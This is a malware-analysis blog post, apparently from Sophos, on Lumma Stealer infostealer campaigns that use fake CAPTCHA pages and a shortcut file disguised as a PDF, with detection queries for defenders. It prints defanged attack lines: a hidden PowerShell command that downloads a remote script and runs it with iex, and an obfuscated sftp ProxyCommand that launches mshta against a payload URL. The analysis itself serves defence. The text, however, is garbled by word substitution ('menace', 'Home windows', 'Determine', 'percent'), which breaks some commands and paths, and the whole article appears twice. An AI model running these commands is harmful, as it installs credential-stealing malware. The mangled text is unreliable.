In September 2024, a menace hunt throughout Sophos Managed Detection and Response’s telemetry uncovered a Lumma Stealer marketing campaign utilizing faux CAPTCHA websites that instructed victims to stick a (malicious) PowerShell-encoded command into Home windows’ command-line interface. Subsequent investigations allowed us to dig deeply into the mechanics of the infamous info stealer. This put up recounts these discoveries, as seen in varied MDR investigations in the course of the fall and winter of 2024-25.
Lumma Stealer fundamentals
Lumma Stealer has been energetic since mid-2022 and is believed to have originated with a Russian-language developer. Supplied as Malware-as-a-Service (MaaS), its maintainer sells entry to the stealer by way of Telegram and affords updates and consumer help. Additional info is made obtainable on a devoted Gitbook website.
The infostealer targets a wide range of valuables together with passwords, session tokens, cryptocurrency wallets, and private info from compromised units. The menace is amplified by its crafty supply strategies. In a single occasion, the attacker manipulated customers’ belief in CAPTCHA challenges and employed social engineering ways to deceive victims looking for software program downloads. In one other, extra simple case, the consumer was directed to a malicious website and prompted to open a file in Home windows Explorer.
The variations we noticed in Lumma Stealer conduct are important to defenders, as a result of Lumma Stealer an infection has been extraordinarily frequent in current months. That stated, the supply strategies we noticed might simply be tailored to different malware past Lumma Stealer, making their documentation helpful. (A listing of IoCs might be made obtainable on our GitHub repository.)
Our researchers are conscious of comparable work underway from Netskope Menace Labs, together with an estimate that as many as 5,000 fake-CAPTCHA websites could also be at the moment concerned in a Lumma Stealer-related marketing campaign. Likewise, researchers at Qualys have carried out strong analysis to element the mechanisms Lumma Stealer has utilized in current months. Sophos strongly recommends scrutiny of the IoCs these researchers have supplied to the general public, along with our personal.
Investigation #1: The artwork(istsponsorship) of the steal
On this investigation, the noticed assault movement with CAPTCHA involvement was comparatively simple: The attacker creates a malicious website, “protected” by a normal-looking CAPTCHA verification at hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. The visiting consumer clicks on the acquainted I-am-not-a-robot field, as proven in Determine 1.
Determine 1: A well-recognized-seeming verification field
The consumer was subsequent redirected to a different alleged verification web page, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, on which they have been requested to first load the Home windows “run” command, then press Cntl-V adopted by Enter, as proven in Determine 2.
Determine 2: The following “safety test” request is considerably uncommon, however pretty simple for unwary customers
Behind the scenes, as soon as the consumer pastes the PowerShell command into the Run dialog field, it triggers a hid JavaScript operate that drops a PowerShell script onto the Clipboard and runs it in a hidden window:
C:WINDOWSsystem32WindowsPowerShellv1.0PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex $t
That script retrieves the infostealer malware from a command-and-control (C2) server, and it’s off to the payload-retrieval races, as proven in Determine 3.
Determine 3: Assault movement with CAPTCHA abuse; be aware that Lumma Stealer itself is loaded halfway by means of the method
When run, the PowerShell script retrieves the Lumma Stealer malware from an exterior server, initiating the obtain of the primary stage of the malicious payload onto the compromised system. The command
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex$t
retrieves the content material from the new-artist.txt file hosted on the exterior server. This content material is then processed and executed by means of the Invoke-Expression cmdlet.
This new-artist.txt file within the code above incorporates one other PowerShell script, which connects to hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . This zipped copy of Lumma Stealer is downloaded to the goal machine, extracted into the consumer’s %AppData% path, and saved as ‘ArtistSponsorship.exe’ (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) for additional execution, as proven in Determine 4.
Determine 4: The toxic obtain
The ArtistSponsorship.exe file incorporates, amongst a number of dropped information as seen in Determine 5, the obfuscated AutoIt.exe script (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). These are dropped within the %temp% listing.
Determine 5: A number of information dropped into %temp% by ArtistSponsorship.exe
The AutoIT script does numerous issues and consists of shellcode. Amongst its actions, it connects to the C2 area snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). Lumma Stealer then targets consumer information, login credentials from varied browsers, bitcoin wallets, and cookies. In Determine 6, AutoIt3.exe is accessing login information and cookies utilized by the Chrome browser.
Determine 6: Catching AutoIT3.exe red-handed with Chrome login credentials (amongst different issues)
AutoIt3.exe then executes the script X.a3x to exfiltrate the captured Chrome login information and cookies to the C2 IP104.21.84[.]251(CLOUDFLARENET). Within the case we noticed, a file of simply 6.37MB – the login information and cookies — was efficiently exfiltrated, after which the AutoIt3.exe course of terminated.
Investigation #2: A deep dive into the code
On this part, we’ll dig much more deeply into the specifics of information and processes we encountered inside the payload supply chain. Within the case we’ll study, the consumer inadvertently visited an contaminated website.
First, the consumer was prompted to open a PDF-format file in Home windows Explorer, as proven in Determine 7.
Determine 7: The consumer is trying to load a PDF, however that’s not what’s about to occur
The file, apparently a PDF known as “Instruction_695-18014-012_Rev.PDF,” is definitely a remotely hosted .lnk (shortcut) file, as proven in Determine 8.
Determine 8: Home windows warns that that is truly a shortcut, not a PDF
The shortcut file makes an attempt to execute an obfuscated PowerShell script, as proven in Determine 9.
Determine 9: The obfuscated script within the Goal discipline
The complete textual content of the obfuscated script is
C:WindowsSystem32OpenSSHsftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')
When a consumer executes the shortcut file, sftp.exe will execute the obfuscated command by means of the ProxyCommand flag. Nonetheless, sftp.exe doesn’t truly set up the community connection itself; it delegates the duty to ssh.exe with a particular set of parameters:
"C:WindowsSystem32OpenSSHssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings sure" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp .
As we see within the block of code above, the parameters exploit the ‘ProxyCommand’ possibility. ProxyCommand specifies a command to run as an alternative of connecting on to the goal host. Within the above instance, ProxyCommand is ready to run PowerShell, which in flip executes mshta.exe to obtain and execute a distant script.
The primary PowerShell script execution is as proven in Determine 10.
Determine 10: The primary execution is revealed
This script processes AES-encrypted information inside the aepcc operate, as proven in Determine 11.
Determine 11: Lumma Stealer’s creators didn’t select a weak encryption algorithm
In Determine 12, the AES key’s listed first. It’s adopted by an initialization vector (IV) of 16 bytes of zeroes; the IV is there so as to add randomness to the beginning of the encryption course of. Regardless of that, we decrypted the info utilizing CyberChef, as proven.
Determine 12: CyberChef begins to disclose what’s happening
Subsequent, we decoded the script from base64 – nearer to readable, however now a big mass of decimals, as proven in Determine 13.
Determine 13: The script comes into higher focus
The decimals in that mass of numbers are in reality ASCII characters. An extra go by CyberChef, as proven in Determine 14, reveals that it is a PE file, one designed to obtain additional payloads.
Determine 14: A PE file with a single malicious function
This script performs the next actions:
- Units variable ‘O’ equal to the C2 URL.
- Dynamically retrieve the ‘Load’ methodology from the .NET ‘System.Reflection.Meeting’ class.
The ‘Load’ methodology is then invoked on the worth of variable ‘oQ7’ (the obfuscated PE); this primarily masses the PE into reminiscence. - As displayed above, the PE incorporates a single static methodology named ‘aHdiNKuWlR’. This methodology downloads the content material of the URL handed to it using WebClient.
The script passes the worth of the ‘O’ variable (containing the C2 URL) to the PE loaded in reminiscence. - The ‘aHdiNKuWlR’ methodology outlined within the PE processes the URL handed to it by downloading its content material utilizing DownloadString.
- The ‘appdataroaming’ path is saved to the variable ‘Ikmg’.
- Perform ‘bOje’ is executed and performs the next actions:
- The operate first appends ‘i1040gi.pdf’ to the ‘Ikmg’ (file path) variable.
- Makes a name to operate ‘rlYDr’ and passes a novel identifier which is retrieved from the AES decrypted information at place 103 with size 86, as proven in Determine 15.
Determine 15: A hexadecimal view of the distinctive identifier - Checks if the ‘appdataroamingi1040gi.pdf’ path doesn’t exist.
- If the file path doesn’t exist, executes operate ‘XSFbo’. This operate takes two parameters:
- ‘BtPdn’: This operate takes the distinctive identifier as an enter. It extracts a selected 100 characters from the AES-decrypted information and makes use of it as a lookup desk to transform the distinctive identifier right into a URL. The ensuing URL is a reputable PDF doc from the IRS.
- The second parameter is the file path in variable ‘EVcD’ as proven in Determine 16.
Determine 16: The file path seems
After decoding the URL, operate ‘XSFbo’ takes the URL and downloads the contents utilizing ‘Internet.WebClient’ (which was additionally decoded utilizing ‘BtnPdn’), then saves the PDF to the file path laid out in variable ‘EVcD’ as proven in Determine 17.
Determine 17: The file path seems once more, because the save vacation spot
Lastly, the PDF that was downloaded is executed, as proven in Figures 18 and 19.
Determine 18: There it’s…
Determine 19: …and there it goes
However wait! There’s extra!
To conclude this evaluation, let’s hint again to the levels earlier than the benign PDF is downloaded and executed.
We first observed that there was a dynamic retrieval of the ‘Load’ methodology, which was used to load the embedded PE that we decoded. Then we noticed a static methodology outlined contained in the PE that was being leveraged to obtain the subsequent stage. Lastly, we see the downloaded script executed with ‘InvokeScript’. Let’s concentrate on this subsequent stage.
The following stage that was downloaded is closely obfuscated with ineffective feedback and really lengthy variable names, as proven in Determine 20.
Determine 20: Mooncake, pasties, fritter, ragu, kebabs, taco… clearly somebody was obfuscating on an empty abdomen
As soon as de-obfuscated, we found that this script is chargeable for downloading a last stage. The script options dynamic decision of low-level Home windows APIs comparable to ‘GetProcAddress’, VirtualProtect’, and ‘AmsiInitialize’.
Detections
The next queries could show helpful for defenders looking for proof of Lumma Stealer of their techniques.
Determine all menace information scripts/binaries from recognized SPIDs utilized to construct Lumma Stealer inside the final eight hours or inside a time vary:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type
WHEN 0 THEN 'Created'
WHEN 2 THEN 'Deleted'
END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256
FROM sophos_file_journal sfj
LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid
LEFT JOIN customers u ON spj.sid = u.uuid
WHERE
sfj.sophos_pid IN ('', '', '', '')
AND
sfj.event_type IN (0, 2)
AND
sfj.time > strftime('%s', 'now', '-8 hour')
--sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35')
Determine attainable exfiltration and C2:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, *
FROM sophos_process_activity
WHERE sophos_pid IN ('', '', '', '')
AND topic IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Course of', 'Community')
AND time > strftime('%s', 'now', '-8 hour')
--AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35')
Determine the supply URL of the faux CAPTCHA / verification immediate from the looking historical past:
SELECT f.path,f.listing,f.filename,f.measurement,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5
FROM file f LEFT JOIN hash h on f.path = h.path
WHERE f.path LIKE 'C:UserspercentAppDataLocalGoogleChromeUser DatapercentHistory' -- Home windows historical past for Chrome
OR f.path LIKE 'C:UserspercentAppDataLocalMicrosoftEdgeUser DatapercentHistory' -- historical past for Edge
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentplaces.sqlite' --Home windows historical past for Firefox;
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentdownloads.sqlite' --Home windows historical past for Firefox;
order by f.mtime DESC
Conclusion
Lumma Stealer stays a big menace as of this writing. The documented tactic of utilizing faux CAPTCHA websites to lull victims into coming into a malicious command on their very own techniques is an unpleasant twist on the state of affairs; Sophos’ endpoint safety counters the menace with a spread of malware detections and behavioral-analysis ways, however educating customers to distrust CAPTCHAs, after so a few years of convincing them to reply them, is a heavy raise. As these training efforts increase, defenders are suggested to institute applicable endpoint-detection know-how and to remember that the ways of this all-too-common infostealer proceed to evolve.
Acknowledgements
Andrew Jaeger, Nayana V R, David Whitehall, and Waldemar Stiefvater contributed evaluation and constructive critique to this work.
Indicators of compromise
The IoCs compiled on this investigation are obtainable on our GitHub repository.
In September 2024, a menace hunt throughout Sophos Managed Detection and Response’s telemetry uncovered a Lumma Stealer marketing campaign utilizing faux CAPTCHA websites that instructed victims to stick a (malicious) PowerShell-encoded command into Home windows’ command-line interface. Subsequent investigations allowed us to dig deeply into the mechanics of the infamous info stealer. This put up recounts these discoveries, as seen in varied MDR investigations in the course of the fall and winter of 2024-25.
Lumma Stealer fundamentals
Lumma Stealer has been energetic since mid-2022 and is believed to have originated with a Russian-language developer. Supplied as Malware-as-a-Service (MaaS), its maintainer sells entry to the stealer by way of Telegram and affords updates and consumer help. Additional info is made obtainable on a devoted Gitbook website.
The infostealer targets a wide range of valuables together with passwords, session tokens, cryptocurrency wallets, and private info from compromised units. The menace is amplified by its crafty supply strategies. In a single occasion, the attacker manipulated customers’ belief in CAPTCHA challenges and employed social engineering ways to deceive victims looking for software program downloads. In one other, extra simple case, the consumer was directed to a malicious website and prompted to open a file in Home windows Explorer.
The variations we noticed in Lumma Stealer conduct are important to defenders, as a result of Lumma Stealer an infection has been extraordinarily frequent in current months. That stated, the supply strategies we noticed might simply be tailored to different malware past Lumma Stealer, making their documentation helpful. (A listing of IoCs might be made obtainable on our GitHub repository.)
Our researchers are conscious of comparable work underway from Netskope Menace Labs, together with an estimate that as many as 5,000 fake-CAPTCHA websites could also be at the moment concerned in a Lumma Stealer-related marketing campaign. Likewise, researchers at Qualys have carried out strong analysis to element the mechanisms Lumma Stealer has utilized in current months. Sophos strongly recommends scrutiny of the IoCs these researchers have supplied to the general public, along with our personal.
Investigation #1: The artwork(istsponsorship) of the steal
On this investigation, the noticed assault movement with CAPTCHA involvement was comparatively simple: The attacker creates a malicious website, “protected” by a normal-looking CAPTCHA verification at hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. The visiting consumer clicks on the acquainted I-am-not-a-robot field, as proven in Determine 1.
Determine 1: A well-recognized-seeming verification field
The consumer was subsequent redirected to a different alleged verification web page, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, on which they have been requested to first load the Home windows “run” command, then press Cntl-V adopted by Enter, as proven in Determine 2.
Determine 2: The following “safety test” request is considerably uncommon, however pretty simple for unwary customers
Behind the scenes, as soon as the consumer pastes the PowerShell command into the Run dialog field, it triggers a hid JavaScript operate that drops a PowerShell script onto the Clipboard and runs it in a hidden window:
C:WINDOWSsystem32WindowsPowerShellv1.0PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex $t
That script retrieves the infostealer malware from a command-and-control (C2) server, and it’s off to the payload-retrieval races, as proven in Determine 3.
Determine 3: Assault movement with CAPTCHA abuse; be aware that Lumma Stealer itself is loaded halfway by means of the method
When run, the PowerShell script retrieves the Lumma Stealer malware from an exterior server, initiating the obtain of the primary stage of the malicious payload onto the compromised system. The command
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex$t
retrieves the content material from the new-artist.txt file hosted on the exterior server. This content material is then processed and executed by means of the Invoke-Expression cmdlet.
This new-artist.txt file within the code above incorporates one other PowerShell script, which connects to hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . This zipped copy of Lumma Stealer is downloaded to the goal machine, extracted into the consumer’s %AppData% path, and saved as ‘ArtistSponsorship.exe’ (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) for additional execution, as proven in Determine 4.
Determine 4: The toxic obtain
The ArtistSponsorship.exe file incorporates, amongst a number of dropped information as seen in Determine 5, the obfuscated AutoIt.exe script (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). These are dropped within the %temp% listing.
Determine 5: A number of information dropped into %temp% by ArtistSponsorship.exe
The AutoIT script does numerous issues and consists of shellcode. Amongst its actions, it connects to the C2 area snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). Lumma Stealer then targets consumer information, login credentials from varied browsers, bitcoin wallets, and cookies. In Determine 6, AutoIt3.exe is accessing login information and cookies utilized by the Chrome browser.
Determine 6: Catching AutoIT3.exe red-handed with Chrome login credentials (amongst different issues)
AutoIt3.exe then executes the script X.a3x to exfiltrate the captured Chrome login information and cookies to the C2 IP104.21.84[.]251(CLOUDFLARENET). Within the case we noticed, a file of simply 6.37MB – the login information and cookies — was efficiently exfiltrated, after which the AutoIt3.exe course of terminated.
Investigation #2: A deep dive into the code
On this part, we’ll dig much more deeply into the specifics of information and processes we encountered inside the payload supply chain. Within the case we’ll study, the consumer inadvertently visited an contaminated website.
First, the consumer was prompted to open a PDF-format file in Home windows Explorer, as proven in Determine 7.
Determine 7: The consumer is trying to load a PDF, however that’s not what’s about to occur
The file, apparently a PDF known as “Instruction_695-18014-012_Rev.PDF,” is definitely a remotely hosted .lnk (shortcut) file, as proven in Determine 8.
Determine 8: Home windows warns that that is truly a shortcut, not a PDF
The shortcut file makes an attempt to execute an obfuscated PowerShell script, as proven in Determine 9.
Determine 9: The obfuscated script within the Goal discipline
The complete textual content of the obfuscated script is
C:WindowsSystem32OpenSSHsftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')
When a consumer executes the shortcut file, sftp.exe will execute the obfuscated command by means of the ProxyCommand flag. Nonetheless, sftp.exe doesn’t truly set up the community connection itself; it delegates the duty to ssh.exe with a particular set of parameters:
"C:WindowsSystem32OpenSSHssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings sure" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp .
As we see within the block of code above, the parameters exploit the ‘ProxyCommand’ possibility. ProxyCommand specifies a command to run as an alternative of connecting on to the goal host. Within the above instance, ProxyCommand is ready to run PowerShell, which in flip executes mshta.exe to obtain and execute a distant script.
The primary PowerShell script execution is as proven in Determine 10.
Determine 10: The primary execution is revealed
This script processes AES-encrypted information inside the aepcc operate, as proven in Determine 11.
Determine 11: Lumma Stealer’s creators didn’t select a weak encryption algorithm
In Determine 12, the AES key’s listed first. It’s adopted by an initialization vector (IV) of 16 bytes of zeroes; the IV is there so as to add randomness to the beginning of the encryption course of. Regardless of that, we decrypted the info utilizing CyberChef, as proven.
Determine 12: CyberChef begins to disclose what’s happening
Subsequent, we decoded the script from base64 – nearer to readable, however now a big mass of decimals, as proven in Determine 13.
Determine 13: The script comes into higher focus
The decimals in that mass of numbers are in reality ASCII characters. An extra go by CyberChef, as proven in Determine 14, reveals that it is a PE file, one designed to obtain additional payloads.
Determine 14: A PE file with a single malicious function
This script performs the next actions:
- Units variable ‘O’ equal to the C2 URL.
- Dynamically retrieve the ‘Load’ methodology from the .NET ‘System.Reflection.Meeting’ class.
The ‘Load’ methodology is then invoked on the worth of variable ‘oQ7’ (the obfuscated PE); this primarily masses the PE into reminiscence. - As displayed above, the PE incorporates a single static methodology named ‘aHdiNKuWlR’. This methodology downloads the content material of the URL handed to it using WebClient.
The script passes the worth of the ‘O’ variable (containing the C2 URL) to the PE loaded in reminiscence. - The ‘aHdiNKuWlR’ methodology outlined within the PE processes the URL handed to it by downloading its content material utilizing DownloadString.
- The ‘appdataroaming’ path is saved to the variable ‘Ikmg’.
- Perform ‘bOje’ is executed and performs the next actions:
- The operate first appends ‘i1040gi.pdf’ to the ‘Ikmg’ (file path) variable.
- Makes a name to operate ‘rlYDr’ and passes a novel identifier which is retrieved from the AES decrypted information at place 103 with size 86, as proven in Determine 15.
Determine 15: A hexadecimal view of the distinctive identifier - Checks if the ‘appdataroamingi1040gi.pdf’ path doesn’t exist.
- If the file path doesn’t exist, executes operate ‘XSFbo’. This operate takes two parameters:
- ‘BtPdn’: This operate takes the distinctive identifier as an enter. It extracts a selected 100 characters from the AES-decrypted information and makes use of it as a lookup desk to transform the distinctive identifier right into a URL. The ensuing URL is a reputable PDF doc from the IRS.
- The second parameter is the file path in variable ‘EVcD’ as proven in Determine 16.
Determine 16: The file path seems
After decoding the URL, operate ‘XSFbo’ takes the URL and downloads the contents utilizing ‘Internet.WebClient’ (which was additionally decoded utilizing ‘BtnPdn’), then saves the PDF to the file path laid out in variable ‘EVcD’ as proven in Determine 17.
Determine 17: The file path seems once more, because the save vacation spot
Lastly, the PDF that was downloaded is executed, as proven in Figures 18 and 19.
Determine 18: There it’s…
Determine 19: …and there it goes
However wait! There’s extra!
To conclude this evaluation, let’s hint again to the levels earlier than the benign PDF is downloaded and executed.
We first observed that there was a dynamic retrieval of the ‘Load’ methodology, which was used to load the embedded PE that we decoded. Then we noticed a static methodology outlined contained in the PE that was being leveraged to obtain the subsequent stage. Lastly, we see the downloaded script executed with ‘InvokeScript’. Let’s concentrate on this subsequent stage.
The following stage that was downloaded is closely obfuscated with ineffective feedback and really lengthy variable names, as proven in Determine 20.
Determine 20: Mooncake, pasties, fritter, ragu, kebabs, taco… clearly somebody was obfuscating on an empty abdomen
As soon as de-obfuscated, we found that this script is chargeable for downloading a last stage. The script options dynamic decision of low-level Home windows APIs comparable to ‘GetProcAddress’, VirtualProtect’, and ‘AmsiInitialize’.
Detections
The next queries could show helpful for defenders looking for proof of Lumma Stealer of their techniques.
Determine all menace information scripts/binaries from recognized SPIDs utilized to construct Lumma Stealer inside the final eight hours or inside a time vary:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type
WHEN 0 THEN 'Created'
WHEN 2 THEN 'Deleted'
END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256
FROM sophos_file_journal sfj
LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid
LEFT JOIN customers u ON spj.sid = u.uuid
WHERE
sfj.sophos_pid IN ('', '', '', '')
AND
sfj.event_type IN (0, 2)
AND
sfj.time > strftime('%s', 'now', '-8 hour')
--sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35')
Determine attainable exfiltration and C2:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, *
FROM sophos_process_activity
WHERE sophos_pid IN ('', '', '', '')
AND topic IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Course of', 'Community')
AND time > strftime('%s', 'now', '-8 hour')
--AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35')
Determine the supply URL of the faux CAPTCHA / verification immediate from the looking historical past:
SELECT f.path,f.listing,f.filename,f.measurement,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5
FROM file f LEFT JOIN hash h on f.path = h.path
WHERE f.path LIKE 'C:UserspercentAppDataLocalGoogleChromeUser DatapercentHistory' -- Home windows historical past for Chrome
OR f.path LIKE 'C:UserspercentAppDataLocalMicrosoftEdgeUser DatapercentHistory' -- historical past for Edge
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentplaces.sqlite' --Home windows historical past for Firefox;
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentdownloads.sqlite' --Home windows historical past for Firefox;
order by f.mtime DESC
Conclusion
Lumma Stealer stays a big menace as of this writing. The documented tactic of utilizing faux CAPTCHA websites to lull victims into coming into a malicious command on their very own techniques is an unpleasant twist on the state of affairs; Sophos’ endpoint safety counters the menace with a spread of malware detections and behavioral-analysis ways, however educating customers to distrust CAPTCHAs, after so a few years of convincing them to reply them, is a heavy raise. As these training efforts increase, defenders are suggested to institute applicable endpoint-detection know-how and to remember that the ways of this all-too-common infostealer proceed to evolve.
Acknowledgements
Andrew Jaeger, Nayana V R, David Whitehall, and Waldemar Stiefvater contributed evaluation and constructive critique to this work.
Indicators of compromise
The IoCs compiled on this investigation are obtainable on our GitHub repository.
